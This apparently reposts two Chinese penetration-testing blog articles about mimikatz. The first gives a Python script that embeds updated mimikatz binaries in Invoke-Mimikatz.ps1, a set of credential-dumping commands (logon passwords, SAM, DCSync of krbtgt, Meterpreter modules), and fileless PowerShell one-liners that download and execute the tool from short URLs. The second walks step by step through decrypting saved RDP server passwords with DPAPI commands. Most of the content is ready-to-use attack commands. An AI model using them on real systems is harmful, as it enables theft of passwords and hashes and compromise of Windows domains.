更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本 技术文章
invoke-mimikatz是什么?invoke-mimikatz是powersploit渗透测试套装中的一个powershell版本的mimikatz工具,用来抓取windows操作系统中的密码。
但是其内置的mimikatz版本过低,导致在实际使用中会多多少少的有一些问题。
通过查看 https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 脚本内容知道 $PEBytes64 和 $PEBytes32 变量,应该是把 Mimikatz 的两个版本的EXE文件进行base64编码.
那就只替换最新的试试,使用 python3 替换完成更新代码 update.py 如下:
import fileinput import base64 with open("./Win32/mimikatz.exe", "rb") as f: win32 = base64.b64encode(f.read()).decode() with open("./x64/mimikatz.exe", "rb") as f: x64 = base64.b64encode(f.read()).decode() for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1): line = line.rstrip('\r\n') if "$PEBytes64 = " in line: print("$PEBytes64 = '" + x64 + "'") elif "$PEBytes32 = " in line: print("$PEBytes32 = '" + win32 + "'") else: print(line)
将 update.py 脚本和 Invoke-Mimikatz.ps1 放在 mimikatz_trunk 解压后的同目录。执行即可更新完毕。
更新后的效果如首图所示,从 Mimikatz 2.1 2016年的版本更新到最新的 2.2.0 20200519 Windows 10 2004 (build 19041) 版本。
顺带提一下:Mimikatz 使用时需要高权限,至少是 administrator 权限 Mimikatz 抓取密码的命令需要 system 权限,可以先进行提权,
基本使用:
privilege::debug //提升权限(从administrator提升到system)如果是system权限执行,可省略
抓取hash:
sekurlsa::logonpasswords //获取当前在线用户的明文密码(需要高权限运行)
lsadump::lsa /patch //获取当前此计算机存在过用户的NTLMHASH
mimikatz 的其他命令:
lsadump::sam SYSTEM.hiv //导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份
通过内存文件获取口令
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据
lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt
拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据
lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$
msf使用 mimikatz:
在meterpreter中加载mimikatz模块
load mimikatz
然后help,查看参数信息:
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom command
msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds
常用命令为kerberos和msv。
无文件落地执行 mimikatz :
在Windows server 2008 及之前 可以使用如下命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/SdU3mjdm'); Invoke-Mimikatz -DumpCreds"
在Windows server 2009 及之后,可以使用如下命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz"
然后抓取hash即可抓取 NTLM。
注意,目前上面这个新版的脚本来自我的 GitHub 仓库: https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/Invoke-Mimikatz.ps1 ,
各位大佬点个star啊!里面收藏了我所看到过的觉得有价值的渗透测试工具,POC,Android渗透测试、脱壳相关的文章。
目前会有 BUG ,细心的可以看到图上的第二个命令行窗口。欢迎能修复BUG的大佬可以 Pull !
参考:鸿鹄实验室公众号文章-渗透tips---->更新你的invoke-mimikatz
【奇技淫巧】利用mimikatz破解远程终端凭据,获取服务器密码 渗透测试
测试环境:windows 10
道友们应该碰到过管理在本地保存远程终端的凭据,凭据里躺着诱人的胴体(服务器密码),早已让我们的XX饥渴难耐了。
但是,胴体却裹了一身道袍(加密),待老衲操起法器将其宽衣解带。
0x01 凭据管理器中查看Windows凭据:
TERMSRV/1xx.xxx.xxx.xx2
可通过命令行获取,执行: cmdkey /list
注意:该命令务必在Session会话下执行,system下执行无结果。
0x02 凭据存储在用户目录下:
C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
图中名为
"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件
0x03 执行:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5"
pbData是凭据的加密数据,guidMasterKey是凭据的GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}。
0x04 执行:
mimikatz privilege::debug sekurlsa::dpapi
根据目标凭据GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。
0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:28d1f3252c019f9cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx16dcec8e5dbf5cd0"
解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。
文章来源于国内安全交流论坛土司\-_-\